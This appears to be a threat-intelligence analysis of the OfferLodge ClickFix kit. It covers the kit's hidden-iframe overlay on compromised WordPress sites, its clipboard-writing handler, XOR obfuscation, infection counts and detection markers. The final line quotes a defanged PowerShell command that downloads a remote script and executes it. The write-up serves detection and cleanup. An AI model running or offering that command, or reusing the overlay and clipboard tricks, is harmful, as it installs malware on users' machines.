OfferLodge ClickFix kit

Two requests choose the landing

OfferLodge is a website loader built around API_ID_URL and TRUSTED_CONFIGS. The first request returns an identifier. The loader inserts that identifier into a trusted template, fetches the resulting document and extracts the landing address from its reply.

The early __adspect_wpu_4__ branch accepts one HTTP or HTTPS URL on a single line. It records a run flag in a global registry, creates an iframe at z-index 2147483647 and covers the viewport with it. One page carried the cleartext branch more than once, plus an encoded copy, but the registry allowed only one run.

The WordPress-aware branch waits for the frame

The later __inline_id_offer__ branch checks /wp-admin, /wp-login, the wordpress_logged_in_ cookie, toolbar classes and #wpadminbar. A logged-in site owner stays on the original page.

This branch accepts a direct URL, a bare domain or a URL nested under fields such as landing, redirect or target in a JSON reply. Its first request has a four-second timeout. The iframe receives a random v query value and starts hidden, transparent and unable to receive clicks. It becomes visible after its load event or a ktl-frame-ready message. If neither arrives within nine seconds, the loader removes it.

compromised page
  -> fetch a landing identifier
  -> resolve and validate the landing address
  -> add a hidden full-screen iframe
  -> reveal it when the landing is ready
  -> relay copy or close messages to the parent page

Clipboard work stays in the parent page

The iframe has clipboard-write permission. A message with type copy carries text to the parent, which uses navigator.clipboard.writeText and falls back to an off-screen textarea. The handler checks that the message came from the current iframe. ktl-show-original removes the frame and restores the compromised page.

OfferLodge also appears as decimal arrays decoded with XOR 0x5A.

What we see

Month	New sites
September	35
October	13
November so far	4

Of the 55 sites recaptured at least 25 days after their first match, 46 were still serving OfferLodge (84%). 95% of OfferLodge sites captured since 25 September run WordPress.

OfferLodge shares 13 sites with LA02 and 15 with SocGholish.

Checking a site

Search the logged-out HTML, bundled scripts and cached copies for:

• API_ID_URL, TRUSTED_CONFIGS, __adspect_wpu_4__ or __inline_id_offer__
• an iframe at z-index 2147483647 with a random v query value
• ktl-frame-ready, ktl-show-original and a copy message handler
• clipboard-write permission plus native and textarea copy paths
• decimal arrays mapped through XOR 0x5A that decode to those markers

Remove every cleartext and encoded copy, then trace the server-side change that writes them. Purge page and CDN caches before testing with a logged-out browser.

& {curl.exe -s hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1 -o $env:TEMPcf.ps1; [scriptblock]::Create((gc $env:TEMPcf.ps1 -Raw)).Invoke()}__V__E__R__I___F__I__E__D ________________________________